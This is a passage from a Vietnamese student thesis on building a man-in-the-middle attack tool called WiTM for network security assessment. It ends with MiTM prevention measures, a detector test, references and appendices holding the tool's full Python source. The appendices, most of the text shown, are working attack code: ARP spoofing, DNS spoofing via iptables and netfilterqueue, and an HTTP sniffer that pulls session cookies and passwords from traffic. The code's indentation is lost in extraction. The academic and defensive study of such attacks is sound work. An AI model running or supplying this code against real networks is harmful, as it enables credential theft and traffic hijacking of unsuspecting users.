thực hiện các bước thích hợp. Nếu bạn không chủ động tìm kiếm để xác định xem
đường truyền có bị chặn hay không, một cuộc tấn công MiTM có thể không được
chú ý cho đến khi quá muộn. Kiểm tra xác thực trang phù hợp và thực hiện một số
kỹ thuật phát hiện giả mạo thường là các phương pháp chính để phát hiện một cuộc
tấn công có thể xảy ra, nhưng các quy trình này có thể yêu cầu phân tích pháp y
thêm sau này.
Điều quan trọng là phải thực hiện các biện pháp phòng ngừa để ngăn chặn
các cuộc tấn công MiTM trước khi chúng xảy ra, thay vì cố gắng phát hiện ra
chúng trong khi chúng đang xảy ra. Nhận thức được các thao tác duyệt web của bạn
và nhận ra các khu vực có hại có thể là điều cần thiết để duy trì mạng an toàn.
Dưới đây là một số phương pháp có thể áp dụng để có thể ngăn chặn được
tấn công MiTM có thể xảy ra:
 Thêm các bản ghi ARP tĩnh
Theo như tìm hiểu ở trên, tấn công ARP Spoofing là một trong những
phương pháp tấn công MiTM dễ thực hiện nhất và thường được sử dụng nhiều nhất
bởi các kẻ tấn công MiTM. Để có thể ngăn chặn được kiểu tấn công này, người sử
dụng máy tính có thể thêm các bản ghi tĩnh vào bảng ARP, nhất là đối với các bản
ghi quan trọng như bản ghi của máy chủ hoặc của Gateway do đây là những mục
tiêu phổ biến của dạng tấn công này.
 Sử dụng Port Security
Ghi nhận trong các cuộc tấn công MiTM xảy ra thực tế, hầu hết những kẻ tấn
công thực hiện dạng tấn công này thường che dấu địa chỉ MAC thật của mình đi
bằng đổi sang địa chỉ khác. Việc thay đổi địa chỉ MAC này khiến cho việc định

61
danh kẻ tấn công trong mạng trở nên rất khó khăn. Tuy nhiên, có một cách để ngăn
chặn được việc này, đó là sử dụng tính năng Port Security của các switch trong
mạng. Tính năng Port Security có thể giúp chúng ta giới hạn được địa chỉ MAC
được phép sử dụng theo từng cổng nhằm kiểm soát truy cập vào mạng nội bộ, rất
có ích trong việc phòng chống tấn công MiTM, đặc biệt là tấn công ARP Spoofing.
Nếu kẻ tấn công kết nối dây vào mạng thành công, tính năng Port Security sẽ ghi
nhớ địa chỉ đó và sẽ chỉ cho phép 1 địa chỉ MAC này ứng với cổng kẻ tấn công
đang kết nối. Khi kẻ tấn công thực hiện đổi địa chỉ MAC, switch trong mạng sẽ
phát hiện thấy có 1 địa chỉ MAC khác đang truyền dữ liệu qua cổng kẻ tấn công
đang kết nối và tắt cổng đó đi, ngắt kết nối của kẻ tấn công vào mạng LAN.
 DHCP Snooping
Một tính năng khác của Switch có thể được sử dụng để ngăn chặn tấn công MiTM,
đó là tính năng DHCP Snooping. Với tính năng này, mạng LAN sẽ được bảo vệ
trước các cuộc tấn công DHCP Spoofing bằng cách ngăn chặn các gói tin DHCP
đến từ các cổng không tin cậy trên switch. Điều này sẽ ngăn cản kẻ tấn công cung
cấp các thông tin định tuyến sai lệch đến những máy tính trong mạng LAN, khiến
cho kẻ tấn công không thể thực hiện tấn công MiTM được.
 Sử dụng thuật toán mã hóa mạnh ở các điểm truy cập
Có cơ chế mã hóa mạnh ở các điểm truy cập không dây sẽ giúp ngăn chặn
các người dùng không mong muốn vào mạng cục bộ. Cơ chế mã hóa yếu có thể
cho phép kẻ tấn công sử dụng tấn công brute-force để vào mạng và bắt đầu tấn
công MiTM. Thuật toán mã hóa càng mạnh, mạng máy tính càng an toàn.
 Thông tin đăng nhập bộ định tuyến mạnh
Thay đổi thông tin đăng nhập bộ định tuyến mặc định là điều cần thiết để
đảm bảo an toàn cho mạng cục bộ. Nếu kẻ tấn công tìm ra được thông tin đăng
nhập của bộ định tuyến, kẻ tấn công có thể thay đổi địa chỉ máy chủ DNS đến máy

62
chủ độc hại của họ, hoặc tệ hơn là cài đặt phần mềm độc hại vào bộ định tuyến
nhằm thực hiện các hành vi nguy hại, phục vụ tấn công MiTM của họ.
 VPN (Virtual Private Network)
VPN có thể được sử dụng để tạo ra một môi trường an toàn cho các thông tin
quan trọng trong mạng nội bộ. Chúng sử dụng thuật toán mã hóa dựa theo khóa để
tạo ra một mạng con, đảm bảo an toàn liên lạc. Bằng cách này, kể cả kẻ tấn công có
thể vào được mạng. họ cũng không thể giải mã được dữ liệu truyền trên VPN.
 Bắt buộc sử dụng HTTPS
HTTPS có thể được sử dụng để đảm bảo an toàn đường truyền trên HTTP
bằng cách sử dụng thuật toán trao đổi khóa công khai – bí mật. Điều này giúp ngăn
chặn kẻ tấn công sử dụng các thông tin mà kẻ đó đã thu được. Các website nên chỉ
sử dụng HTTPS và không nên sử dụng HTTP làm phương pháp thay thế. Người
dùng có thể cài đặt các plugin cho trình duyệt để bắt buộc sử dụng HTTPS trên các
yêu cầu.
 Sử dụng HSTS
Hiện nay, kẻ tấn công đã tìm được nhiều cách để có thể vượt qua giao thức
SSL/TLS. Ví dụ, nếu người dùng yêu cầu kết nối HTTPS, họ có thể thay đổi chúng
xuống HTTP, ngăn người dùng sử dụng kết nối mã hóa. Cài đặt HTTP Strict
Transport Security (HSTS) có thể giúp ngăn chặn kiểu tấn công này. Cài đặt này
bắt buộc bất kỳ trình duyệt Web hay ứng dụng nào phải kết nối với máy chủ bằng
HTTPS và chặn bất kỳ thông điệp nào được truyền trên HTTP. HSTS cũng ngăn kẻ
tấn công lấy được các thông tin từ cookie của trình duyệt, bảo vệ website khỏi tấn
công cướp phiên.
 Hạn chế sử dụng các điểm truy cập Internet công cộng
Thông thường, các điểm truy cập mạng công cộng không sử dụng mật khẩu
truy cập hoặc cung cấp mật khẩu công khai cho mọi người. Điều này giúp cho việc
thực hiện tấn công MiTM trở nên dễ dàng hơn, vì mạng công cộng cho phép ai

63
cũng có thể truy cập được vào mạng. Để có thể phòng chống khả năng tấn công
MiTM, người sử dụng Internet nên hạn chế sử dụng các điểm truy cập Internet
công cộng, nhất là khi cần truyền thông tin quan trọng như tài khoản ngân hàng, tài
khoản mạng xã hội, …
 Sử dụng tường lửa, IDS
Bằng cách sử dụng tường lửa kết hợp với IDS, hệ thống có thể phát hiện các
hành vi bất thường, các dấu hiệu của tấn công MiTM có thể xảy ra qua phân tích
lưu lượng mạng và ngăn chặn các truy cập trái phép vào hệ thống mạng.
IV.2. Sử dụng công cụ WiTM
Ngoài các giải pháp được nêu phần 4.1, công cụ WiTM được xây dựng trong
đồ án có cung cấp chức năng phát hiện tấn công ARP Spoofing nhằm phát hiện tấn
công nhắm vào người sử dụng công cụ này. Bằng cách sử dụng công cụ WiTM,
người sử dụng có thể phát hiện được những cuộc tấn ARP Spoofing đang nhằm đến
họ và thông báo những thông tin liên quan đến đối tượng đang thực hiện tấn công
vào họ.
Để chứng minh tính hiệu quả của công cụ trong các trường hợp thực tế, chức
năng phát hiện tấn công ARP Spoofing của công cụ sẽ được thử nghiệm trong mô
hình mạng trong hình 3.2. Tuy nhiên, lần này máy nạn nhân sẽ đóng vai là kẻ tấn
công, sử dụng công cụ tấn công có tên là arpspoof.exe, tấn công vào máy người sử
dụng công cụ WiTM. Arpspoof.exe là một chương trình tấn công ARP Spoofing
được thiết kế để chạy được trên các máy sử dụng hệ điều hành Windows, có thể
được tải về ở link sau: https://github.com/alandau/arpspoof. Sau đây, quá trình thử
nghiệm công cụ sẽ được thực hiện như sau:
 Bước 1: Ở màn hình chính của công cụ WiTM, chọn lựa chọn 3.
 Bước 2: Nhập vào giao diện mạng lắng nghe, nhập “eth0” trong thử nghiệm
này như hình 4.1. Nhấn Enter để bắt đầu lắng nghe.

64
Hình 4.41. Chức năng phát hiện tấn công ARP Spoofing được lựa chọn
 Bước 3: Ở máy nạn nhân, thực hiện tấn công ARP spoofing vào máy tấn
công bằng công cụ arpspoof.exe như hình 4.2. Nhấn Enter để bắt đầu.

Hình 4.42. Thực hiện tấn công ARP Spoofing ở máy nạn nhân
 Bước 4: Quay trở lại máy tấn công, công cụ sẽ phát hiện tất cả các cuộc tấn
công nhằm vào máy và hiện lên các thông tin liên quan như địa chỉ IP đang
bị giả mạo và địa chỉ MAC đang bị chuyển hướng đến như hình 4.3.

Hình 4.43. Kết quả chức năng phát hiện tấn công ARP Spoofing của công cụ
WiTM
So sánh với địa chỉ MAC của máy nạn nhân trong hình 3.7, có thể thấy rằng
công cụ đã phát hiện chính xác địa chỉ MAC của máy nạn nhân và địa chỉ IP mà
máy nạn nhân đang giả mạo.
Chức năng phát hiện tấn công ARP Spoofing của công cụ WiTM có thể giúp
ích nhiều trong việc cảnh báo người dùng về các cuộc tấn công đang nhắm vào họ
bằng cách cung cấp các thông tin cơ bản về kẻ tấn công.
65
KẾT LUẬN
Qua quá trình tìm hiểu đề tài đồ án “Xây dựng công cụ tấn công Man-in-the-
middle phục vụ đánh giá an toàn mạng”, đồ án đã thực hiện được những mục tiêu
đã đề ra khi thực hiện đề tài, cụ thể như sau:
 Trong chương 1, đồ án nêu khái niệm tấn công Man-in-the-middle và các
phương pháp, kỹ thuật được sử dụng để thực hiện tấn công MiTM.
 Trong chương 2, đồ án đã phân tích và thiết kế các chức năng cho công cụ
tấn công Man-in-the-middle được xây dựng, tên Who-in-the-Middle.
 Ở chương 3, đồ án đã xây dựng mô hình mạng thử nghiệm và thực hiện đánh
giá an toàn mạng được xây dựng bằng cách thực hiện tấn công MiTM bằng
công cụ WiTM được xây dựng.
 Cuối cùng, chương 4 đã tìm hiểu một số giải pháp phòng chống và phát hiện
tấn công MiTM được áp dụng trong thực tế. Chương 4 cũng chỉ ra điều quan
trọng trong việc phòng chống và phát hiện tấn công MiTM, đó là nâng cao
bảo mật thông tin, mạng và kiểm soát truy cập hệ thống.
Dù vậy, do kiến thức và khả năng lập trình của tác giả đồ án vẫn còn hạn
chế, các phương pháp và kỹ thuật tấn công MiTM mà công cụ có thể thực hiện
được còn ít và chưa linh hoạt so với thực tế. Trong tương lai, tác giả đồ án sẽ tiếp
tục nghiên cứu, tìm hiểu thêm cách cải thiện chức năng của công cụ và xây dựng
thêm các chức năng còn thiếu. Tác giả rất mong nhận được những ý kiến đóng góp
của thầy cô cùng các bạn học viên để đồ án có thể hoàn thiện và phát triển hơn nữa.

66
TÀI LIỆU THAM KHẢO
[1] Philippe Biondi – Scapy documentation:
https://scapy.readthedocs.io/en/latest/index.html
[2] Sab0tag3d – MITM cheatsheet: https://github.com/Sab0tag3d/MITM-
cheatsheet
[3] Tomasz Andrzej Nidecki - All That You Need to Know About Man-in-the-
Middle Attacks: https://www.acunetix.com/blog/articles/man-in-the-middle-
attacks/
[4] Netsparker Security Team - Man-in-the-middle Attacks and How To Avoid
Them: https://www.netsparker.com/blog/web-security/man-in-the-middle-
attack-how-avoid/
[5] Tomasz Andrzej Nidecki – All about Man-in-the-middle Attacks:
https://www.acunetix.com/blog/articles/man-in-the-middle-attacks/
[6] CrowdStrike - Man-in-the-Middle (MITM) Attacks Explained:
https://www.crowdstrike.com/epp-101/man-in-the-middle-mitm-attacks/
[7] Anastasios Arampatzis -What Are SSL Stripping Attacks?
https://www.venafi.com/blog/what-are-ssl-stripping-attacks
[8] International Journal of Engineering Research & Technology - ARP Spoof
Detection System using ICMP Protocol: An Active Approach:
https://www.ijert.org/research/arp-spoof-detection-system-using-icmp-
protocol-an-active-approach-IJERTV3IS051581.pdf
[9] Jeff Peters - What is DNS Cache Poisoning?:
https://www.varonis.com/blog/dns-cache-poisoning/
[10] Andrew Ayer - ICMP Redirect Attacks in the Wild:
https://www.agwa.name/blog/post/icmp_redirect_attacks_in_the_wild
[11] Zbigniew Banach - What Is Session Hijacking: Your Quick Guide to Session
Hijacking Attacks: https://www.netsparker.com/blog/web-security/session-
hijacking/
67
PHỤ LỤC 1: Chương trình chính của công cụ (WiTM.py)

#!/usr/bin/env python

import threading
import logging
from termcolor import colored
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from function import precheck as check
from function import network_scanner as scanner
from function import ARP_spoofing as arp
from function import DNS_spoof as dns
from function import packet_sniffer as sniffer
from function import help as help

def tool_title():
print("\
t########################################################")
print("\
t########################################################")
print("\t##########----------Who_in_The_Midde----------
##########")
print("\
t########################################################")
print("\
t########################################################")

def main():
tool_title()
options_list = [1, 2, 3, 4 , 5, 6, 0]
arp_stop_flag = False
arp_running_flag = False
while True:

try:
option = raw_input("\n[*] Choose from [1][2][3][4][5][6]
[0] (choose 6 for help): ")
if option == "":
continue
else:
try:
option = int(option)
except:
print("[!] Error! Try again!")
continue
except KeyboardInterrupt:

68
print("[!] Please use option 0")
continue

if option in options_list:
if option == 1:
print("\n[!] Network Scanner")
network_ip = scanner.input_network()
if network_ip == "":
continue
else:
scanner.scan_network(network_ip)
continue
if option == 2:
check.IP_forward_check()
print("\n[!] ARP Spoofing starting")
if arp_running_flag == False:
argument = arp.ARPspoof_input()
if argument == "":
continue
else:
arp_stop_flag = False
arp_running_flag = True
t1 = threading.Thread(target =
arp.ARP_spoofing, args =(lambda : arp_stop_flag, argument[0],
argument[1]))
t1.daemon = True
t1.start()
print("[!] Attacking now...")
continue
else:
arp_stop_flag = True
arp_running_flag = False
t1.join()
continue
if option == 3:
print("\n[!] ARP Spoofing Detector starting")
arp.ARP_sniffer()
continue
if option == 4:
print("\n[!] HTTP Sniffing starting")
sniffer.start()
continue
if option == 5:
print("\n[!] DNS Spoofing starting")
dns.DNS_spoofing()
continue
if option == 6:
help.option_help()
continue
69
if option == 0:
if arp_running_flag == True:
print("[!] ARP Spoofing attack still running!
Stopping it now...")
arp_stop_flag = True
check.disable_IP_forward()
break;
else:
print("[!] Invalid option! Please try again!")
continue
print("[!] Exitting...Thank you for using my tool!")

if __name__ == '__main__':
main()

70
PHỤ LỤC 2: Script chứa các hàm kiểm tra trước (precheck.py)

#!/usr/bin/env python

import socket
import subprocess
import re
import scapy.all as scapy

def ipaddr_check(ip):
try:
socket.inet_aton(ip)
octet = ip.split(".")
if len(octet) == 4:
return True
except socket.error:
return False

def network_check(network):
try:
txt = network.split('/')
ipaddress = txt[0]
subnet = int(txt[1])
except Exception as e:
print("[!] Error! " + str(e))
return False
if(subnet < 32 and subnet > 0):
if ipaddr_check(txt[0]):
return True
else:
return False
else:
return False

def IP_forward_check():
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
result = str(f.read().strip())
if result == "1":
f.close()
print("[!] IP Forwarding already enabled!")
else:
print("[!] IP Forwarding not enabled! Activate now...")
f.close()
with open(file_path, "w") as f:
f.write("1")
f.close()

71
def disable_IP_forward():
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path, "r") as f:
result = str(f.read().strip())
if result == "1":
f.close()
with open(file_path, "w") as f:
f.write("0")
f.close()
print("[!] IP Forwarding is disabled")
else:
f.close()
print("[!] IP Forwarding already disabled")

def interface_check(iface):
all_interfaces = scapy.get_if_list()
for interface in all_interfaces:
if iface == interface:
return True
return False

72
PHỤ LỤC 3: Script chứa chức năng quét mạng (network_scanner.py)

#!/usr/bin/env python

from precheck import network_check


import scapy.all as scapy

def input_network():
while True:
try:
network_IP = str(raw_input("[*] Please input network IP
you want to scan: "))
if network_check(network_IP):
return network_IP
else:
print("[!] Invalid Input!")
continue
except KeyboardInterrupt:
return ""
break

def send_ARP_broadcast(ip):
ARP_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast = broadcast/ARP_request
answered_list = scapy.srp(arp_broadcast, verbose=False,
timeout=5)[0]
return answered_list

def scan_network(ip):
print("[!] Scanning network...")
answered_list1 = send_ARP_broadcast(ip)
discovered_list = []
for element in answered_list1:
discovered_host = {"IP":element[1].psrc,
"MAC":element[1].hwsrc}
discovered_list.append(discovered_host)
print("------------------------------
Result--------------------------------")
print("\tIP address \t\t\t MAC address")
num = 0
for element in discovered_list:
print(element['IP'] + "\t\t\t|\t" + element['MAC'])
num = num + 1
print("[!] Return " + str(num) + " results!")
print("[!] Gateway: " + scapy.conf.route.route("0.0.0.0")[2])

73
PHỤ LỤC 4: Script chứa chức năng tấn công ARP Spoofing và phát hiện
ARP Spoofing (ARP_spoofing.py)

#!/usr/bin/env python

import scapy.all as scapy


import sys
import time
import subprocess
import re
from precheck import ipaddr_check, interface_check
from network_scanner import send_ARP_broadcast

def ARP_spoof(target, spoof, target_MAC):


spoof_packet = scapy.ARP(op=2, pdst=target, hwdst=target_MAC,
psrc=spoof)
scapy.send(spoof_packet, verbose=False)

def ARP_restore(target, spoof, target_MAC, spoof_MAC):


restore_packet = scapy.ARP(op=2, pdst=target,
hwdst=target_MAC, psrc=spoof, hwsrc=spoof_MAC)
scapy.send(restore_packet, verbose=False)

def get_MAC(ip):
answered_list=send_ARP_broadcast(ip)
return answered_list[0][1].hwsrc

def get_current_MAC(interface):
command_output = subprocess.check_output(["ifconfig",
interface])
mac_result = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",
str(command_output))
if mac_result.group(0):
return mac_result.group(0)
else:
print("[-] Error! Can't find your MAC address!")

def ARP_sniffer():
global current_MAC
current_MAC = ""
while True:
try:
interface = str(raw_input("[*] Interface: "))
if interface_check(interface):
current_MAC = get_current_MAC(interface)
print("[!] ARP Spoofing detector running...Press Ctrl
+ C to stop!")
74
scapy.sniff(iface=interface, store=False,
prn=spoof_detector)
else:
print("[!] Unknown interface! Please try again...")
continue
except KeyboardInterrupt:
print("\n[!] Exitting...")
break

def spoof_detector(packet):
try:
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].hwsrc !
= current_MAC:
sender_mac = packet[scapy.ARP].hwsrc
src_mac = packet[scapy.Ether].src
sender_ip = packet[scapy.ARP].psrc
if sender_mac != src_mac:
print("[!] Attack occured!")
print("[+] Attacker's MAC: " + sender_mac + "\
tSpoofed IP: " + sender_ip)
else:
icmp =
scapy.Ether(dst="ff:ff:ff:ff:ff:ff")/scapy.IP(dst=sender_ip)/sca
py.ICMP()
answered_list = scapy.srp(icmp, verbose=False,
timeout=0.5)[0]
real_mac = answered_list[0][1].src
if sender_mac != real_mac:
print("[!] Attack occured!")
print("[+] Attacker's MAC: " + sender_mac + "\
tSpoofed IP: " + sender_ip)
except Exception as e:
pass

def ARPspoof_input():
while True:
try:
target_IP = str(raw_input("[*] Input target IP address:
"))
spoof_IP = str(raw_input("[*] Input spoof IP target: "))
if ipaddr_check(target_IP) == False or
ipaddr_check(spoof_IP) == False:
print("[!] Invalid input! Please enter again...")
continue
else:
print("[!] All input valid!")
return target_IP, spoof_IP
except KeyboardInterrupt:
return ""
75
break

def ARP_spoofing(stop, target_IP, spoof_IP):


target_MAC = get_MAC(target_IP)
spoof_MAC = get_MAC(spoof_IP)
while True:
ARP_spoof(target_IP, spoof_IP, target_MAC)
ARP_spoof(spoof_IP, target_IP, spoof_MAC)
time.sleep(5)
if stop():
ARP_restore(target_IP, spoof_IP, target_MAC, spoof_MAC)
ARP_restore(spoof_IP, target_IP, spoof_MAC, target_MAC)
print("[!] Current ARP spoofing attack has stopped")
break

76
PHỤ LỤC 5: Script chứa chức năng nghe lén đường truyền HTTP
(packet_sniffer.py)

#!/usr/bin/env python

import scapy.all as scapy


from scapy_http import http
from precheck import interface_check
from termcolor import colored

def http_sniff(interface):
scapy.sniff(iface=interface, store=False,
prn=packet_processor)

def process_url(packet):
url = packet[http.HTTPRequest].Host.decode() +
packet[http.HTTPRequest].Path.decode()
if "Login" in url or "login" in url:
print(colored("[ URL ] Located login page item: " + url,
'green'))
else:
print(colored("[ URL ] " + url, 'blue'))

def process_cookie(packet):
keywords = ["signin", "s_id", "login", "sessionid", "user"]
captured_cookie = str(packet[http.HTTPRequest].Cookie)
if captured_cookie != "None":
cookie_list = captured_cookie.split(";")
for item in cookie_list:
for key in keywords:
cookie_name = item.split("=")[0]
if key in cookie_name.lower():
print(colored("[COOKIE] Important cookie: " +
item, 'green'))
break;
else:
continue
print(colored("[COOKIE] " + item, 'yellow'))

def get_login_info(packet):
load = packet[scapy.Raw].load
keywords = ["usr", "user", "username", "key", "pass",
"passwrd", "password", "info"]
for key in keywords:
if key in load:
return load

def packet_processor(packet):
77
if packet.haslayer(http.HTTPRequest):
print("\n### " + packet[scapy.IP].src + "###")
process_url(packet)
process_cookie(packet)
if packet.haslayer(scapy.Raw):
login_info = get_login_info(packet)
if login_info:
print(colored("\n[!] Possible login info: " +
login_info + "\n", 'red'))

def start():
while True:
try:
interface = raw_input("[*] Input interface used for
sniff: ")
if interface_check(interface):
http_sniff(interface)
else:
print("[!] Unknown interface! Please try again...!")
continue
except KeyboardInterrupt:
print("\n[!] Exitting...!")
break;

78
PHỤ LỤC 6: Script chứa chức năng tấn công DNS Spoofing (DNS_spoof.py)

#!/usr/bin/env python

import scapy.all as scapy


from scapy_http import http
import os
import netfilterqueue
from precheck import ipaddr_check

def input_list():
global domain_ip_list
domain_ip_list = []
while True:
try:
try:
input_string = str(raw_input("[*] Input domain/IP
pairs: "))
pair_list = input_string.split(";")
except Exception as e:
print("[!] Error! " + str(e))
continue
for element in pair_list:
pair = element.split("/")
if ipaddr_check(pair[1]):
domain_ip = {"Domain":pair[0], "IP":pair[1]}
domain_ip_list.append(domain_ip)
print("[+] Domain: " + pair[0] + "\t\tIP: " +
pair[1])
else:
print("[!] Error at pair " + element)

return domain_ip_list
except KeyboardInterrupt:
print("\n[!] No input!")
break
return ""

def dns_spoofer(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
req_name = scapy_packet[scapy.DNSQR].qname
for element in domain_ip_list:
if element["Domain"] in req_name:
print("[+] Spoofing target: " + req_name)

79
answer = scapy.DNSRR(rrname=req_name,
rdata=element["IP"])
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum

packet.set_payload(str(scapy_packet))

if scapy_packet.haslayer(scapy.Raw) and
scapy_packet.haslayer(http.HTTPRequest):
print(scapy_packet[scapy.Raw].load)

packet.accept()

def DNS_spoofing():
try:
output = input_list()
if output != "":
queue = netfilterqueue.NetfilterQueue()
os.system('iptables -I FORWARD -j NFQUEUE --queue-num
0')
queue.bind(0, dns_spoofer)
print("[!] DNS Spoofing attack running...")
queue.run()
except KeyboardInterrupt:
print("\n[!] DNS Spoofing attack ended!")
queue.unbind()
os.system('iptables -D FORWARD -j NFQUEUE --queue-num 0')

80
PHỤ LỤC 7: Script hướng dẫn sử dụng (help.py)

#!/usr/bin/env python

def option_help():
print("\n\t\t\tTool name: Who in The Middle (WiTM)\n\t\tThis
tool provide some function you need to execute a MiTM attack.
Enjoy!\n")
print("[1]\tActivate Network Scanner.\n\tScanning local
network based on user input.\n")
print("[2]\tExecute ARP spoofing attack.\n\tPress 2 again to
stop ARP spoofing attack.\n")
print("[3]\tActivate ARP Spoofing detector.\n\tNote: This
function can only detect ARP spoofing attack that targeted this
device only.\n")
print("[4]\tActivate HTTP sniffer.\n\tThis function can gather
URLs, COOKIE and possible login info.\n")
print("[5]\tExecute DNS Spoofing attack.\n\tNote: This attack
can only be used when you have successfully become man in the
middle!\n")
print("[6]\tHelp\n")
print("[0]\tExit\n")

81

You might also like